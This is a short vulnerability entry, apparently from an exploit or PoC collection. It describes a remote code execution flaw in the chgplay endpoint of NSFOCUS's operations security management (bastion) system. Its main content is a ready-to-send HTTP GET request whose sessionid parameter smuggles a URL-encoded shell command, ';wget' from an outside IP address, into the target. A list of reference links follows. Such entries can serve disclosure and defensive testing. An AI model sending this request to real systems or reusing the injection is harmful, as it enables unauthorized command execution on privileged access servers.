Description
绿盟运维安全管理系统 chgplay 远程代码执行漏洞
绿盟运维安全管理系统 chgplay 远程代码执行漏洞
PoC
GET /webconf/log/chgplay?cat=espc&sid=7473a85e535405e7bd991cb82b2f134c&status=charset&speed=10&sessionid=%3Bwget+http%3A%2F%2F10.11.12.24%3A8080%2FU1c2d98aa5ae03289.aF168a5a%3B HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.gm7.org/archives/22490
https://www.ddpoc.com/DVB-2023-5366.html
https://bbs.decoyit.com/thread-591-1-1.html
https://avd.aliyun.com/detail?id=AVD-2024-1706899
https://github.com/passwa11/2023Hvv_
https://www.zhousa.com/archives/61235.html
https://zhuanlan.zhihu.com/p/1932214870562047555